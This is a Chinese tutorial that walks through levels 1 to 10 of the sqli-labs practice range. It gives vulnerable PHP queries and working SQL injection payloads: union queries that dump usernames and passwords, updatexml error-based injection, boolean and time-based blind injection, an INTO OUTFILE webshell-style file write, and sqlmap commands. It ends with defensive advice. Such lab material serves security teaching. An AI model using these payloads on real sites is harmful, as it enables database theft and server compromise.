sqli-labs靶场less-1-10
字数 1577 2025-09-01 11:25:54

SQL注入攻击技术详解:sqli-labs靶场Less-1至Less-10实战指南

1. SQL注入基础概念

SQL注入是一种通过在用户输入中插入恶意SQL代码来操纵数据库查询的攻击技术。攻击者可以利用这种技术绕过认证、窃取数据、修改数据甚至获取服务器控制权。

2. 注入类型判断方法

2.1 数字型与字符型注入的区分

  1. 减法判断法

    • id=2-1:如果返回id=1的结果,则是数字型注入;否则是字符型注入
    • 原理:数字型会计算表达式,字符型会将整个表达式视为字符串
  2. 逻辑判断法

    • id=1 and 1=1id=1 and 1=2
      • 两者都能正常回显 → 字符型注入
      • 只有前者正常回显 → 数字型注入

2.2 字符型注入闭合方式判断

常见闭合方式:'"')")

判断方法:

  • 尝试id=1'id=1"
    • 如果id=1'报错 → 可能是'闭合
    • 如果id=1"报错 → 可能是"闭合
    • 如果两者都报错 → 可能是混合闭合(如')")

3. 各关卡详细注入技术

Less-1:字符型单引号注入

源码分析

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

注入步骤

  1. 判断列数:
    ?id=1' order by 3--+
    
  2. 联合查询:
    ?id=-1' union select 1,2,3--+
    
  3. 获取数据库信息:
    ?id=-1' union select 1,2,database()--+
    
  4. 获取表名:
    ?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
    
  5. 获取列名:
    ?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')--+
    
  6. 获取数据:
    ?id=-1' union select 1,2,group_concat(username,':',password) from users--+
    

Less-2:数字型注入

源码分析

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

注入步骤
与Less-1类似,但无需闭合单引号:

?id=-1 union select 1,2,group_concat(username,':',password) from users

Less-3:字符型单引号括号注入

源码分析

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

注入步骤
使用')闭合:

?id=-1') union select 1,2,group_concat(username,':',password) from users --+

Less-4:字符型双引号括号注入

源码分析

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

注入步骤
使用")闭合:

?id=-1") union select 1,2,group_concat(username,':',password) from users --+

Less-5:单引号报错注入

源码特点

  • 查询成功只显示"You are in",不显示数据
  • 查询失败会显示错误信息

报错注入函数

  1. updatexml()
  2. extractvalue()
  3. floor() + rand() + group by
  4. exp()

注入步骤

?id=1' and updatexml(1,concat(0x7e,version()),3) --+
  • 0x7e~的十六进制表示
  • 第一个和第三个参数可随意,用于触发XPath语法错误

完整利用

  1. 获取数据库名:
    ?id=1' and updatexml(1,concat(0x7e,database()),3) --+
    
  2. 获取表名:
    ?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)--+
    
  3. 获取数据(需使用limit限制返回行数):
    ?id=1' and updatexml(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1)),3)--+
    

Less-6:双引号报错注入

与Less-5类似,但闭合方式为双引号:

?id=1" and updatexml(1,concat(0x7e,database()),3) --+

Less-7:文件读写注入

注入特点

  • 闭合方式为'))
  • 可利用INTO OUTFILE写入文件

前置条件

  1. 获取MySQL写入目录:
    ?id=-1' UNION SELECT 1,@@basedir,@@datadir --+
    
  2. 确保secure_file_priv参数为空:
    secure_file_priv =
    

文件写入步骤

  1. 写入数据库信息:
    ?id=-1')) union select 1,2,database() into outfile "D:\\path\\test.txt" --+
    
  2. 写入一句话木马:
    ?id=-1')) union select 1,2,"<?php phpinfo();?>" into outfile "D:\\path\\shell.php" --+
    

Less-8:布尔盲注

适用场景

  • 页面没有明显错误回显
  • 只有"正确"和"错误"两种状态

关键函数

  1. ascii(str) - 返回ASCII码
  2. length(str) - 返回字符串长度
  3. mid(str,index,j) - 返回从index开始的j个字符
  4. substr(str,index,j) - 同mid

注入步骤

  1. 判断数据库长度:
    ?id=1' and length(database())=8 --+
    
  2. 逐字符判断:
    ?id=1' and ascii(mid(database(),1,1))=115 --+
    

自动化工具

sqlmap -u http://target/Less-8/?id=1 --batch

Less-9:时间盲注

适用场景

  • 页面无论输入什么总是相同回显

关键函数

if(条件,a,b)  # 条件为真返回a,否则返回b
sleep(n)     # 延迟n

注入步骤

  1. 判断闭合方式:
    ?id=1' and if(1,sleep(5),1) --+
    
  2. 判断数据库长度:
    ?id=1' and if(length(database())=8,sleep(5),1)--+
    
  3. 逐字符判断:
    ?id=1' and if(ascii(mid(database(),1,1))=115,sleep(5),1)--+
    

自动化工具

sqlmap -u http://target/Less-9/?id=1 --batch --technique T

Less-10:双引号时间盲注

与Less-9类似,但闭合方式为双引号:

?id=1" and if(1,sleep(5),1) --+

自动化工具
需要指定level参数:

sqlmap -u http://target/Less-10/?id=1 --batch --level 3

4. 防御建议

  1. 使用参数化查询(预处理语句)
  2. 对用户输入进行严格过滤和转义
  3. 最小权限原则,数据库用户只赋予必要权限
  4. 关闭错误回显
  5. 使用Web应用防火墙(WAF)

5. 总结

本教程详细介绍了sqli-labs前10关的各种SQL注入技术,包括:

  • 联合查询注入
  • 报错注入
  • 布尔盲注
  • 时间盲注
  • 文件读写注入

每种技术都有其适用场景和利用方法,理解这些技术原理对于Web安全测试和防御至关重要。

SQL注入攻击技术详解:sqli-labs靶场Less-1至Less-10实战指南 1. SQL注入基础概念 SQL注入是一种通过在用户输入中插入恶意SQL代码来操纵数据库查询的攻击技术。攻击者可以利用这种技术绕过认证、窃取数据、修改数据甚至获取服务器控制权。 2. 注入类型判断方法 2.1 数字型与字符型注入的区分 减法判断法 : id=2-1 :如果返回id=1的结果,则是数字型注入;否则是字符型注入 原理:数字型会计算表达式,字符型会将整个表达式视为字符串 逻辑判断法 : id=1 and 1=1 和 id=1 and 1=2 : 两者都能正常回显 → 字符型注入 只有前者正常回显 → 数字型注入 2.2 字符型注入闭合方式判断 常见闭合方式: ' 、 " 、 ') 、 ") 等 判断方法: 尝试 id=1' 和 id=1" : 如果 id=1' 报错 → 可能是 ' 闭合 如果 id=1" 报错 → 可能是 " 闭合 如果两者都报错 → 可能是混合闭合(如 ') 、 ") ) 3. 各关卡详细注入技术 Less-1:字符型单引号注入 源码分析 : 注入步骤 : 判断列数: 联合查询: 获取数据库信息: 获取表名: 获取列名: 获取数据: Less-2:数字型注入 源码分析 : 注入步骤 : 与Less-1类似,但无需闭合单引号: Less-3:字符型单引号括号注入 源码分析 : 注入步骤 : 使用 ') 闭合: Less-4:字符型双引号括号注入 源码分析 : 注入步骤 : 使用 ") 闭合: Less-5:单引号报错注入 源码特点 : 查询成功只显示"You are in",不显示数据 查询失败会显示错误信息 报错注入函数 : updatexml() extractvalue() floor() + rand() + group by exp() 注入步骤 : 0x7e 是 ~ 的十六进制表示 第一个和第三个参数可随意,用于触发XPath语法错误 完整利用 : 获取数据库名: 获取表名: 获取数据(需使用limit限制返回行数): Less-6:双引号报错注入 与Less-5类似,但闭合方式为双引号: Less-7:文件读写注入 注入特点 : 闭合方式为 ')) 可利用 INTO OUTFILE 写入文件 前置条件 : 获取MySQL写入目录: 确保 secure_file_priv 参数为空: 文件写入步骤 : 写入数据库信息: 写入一句话木马: Less-8:布尔盲注 适用场景 : 页面没有明显错误回显 只有"正确"和"错误"两种状态 关键函数 : ascii(str) - 返回ASCII码 length(str) - 返回字符串长度 mid(str,index,j) - 返回从index开始的j个字符 substr(str,index,j) - 同mid 注入步骤 : 判断数据库长度: 逐字符判断: 自动化工具 : Less-9:时间盲注 适用场景 : 页面无论输入什么总是相同回显 关键函数 : 注入步骤 : 判断闭合方式: 判断数据库长度: 逐字符判断: 自动化工具 : Less-10:双引号时间盲注 与Less-9类似,但闭合方式为双引号: 自动化工具 : 需要指定level参数: 4. 防御建议 使用参数化查询(预处理语句) 对用户输入进行严格过滤和转义 最小权限原则,数据库用户只赋予必要权限 关闭错误回显 使用Web应用防火墙(WAF) 5. 总结 本教程详细介绍了sqli-labs前10关的各种SQL注入技术,包括: 联合查询注入 报错注入 布尔盲注 时间盲注 文件读写注入 每种技术都有其适用场景和利用方法,理解这些技术原理对于Web安全测试和防御至关重要。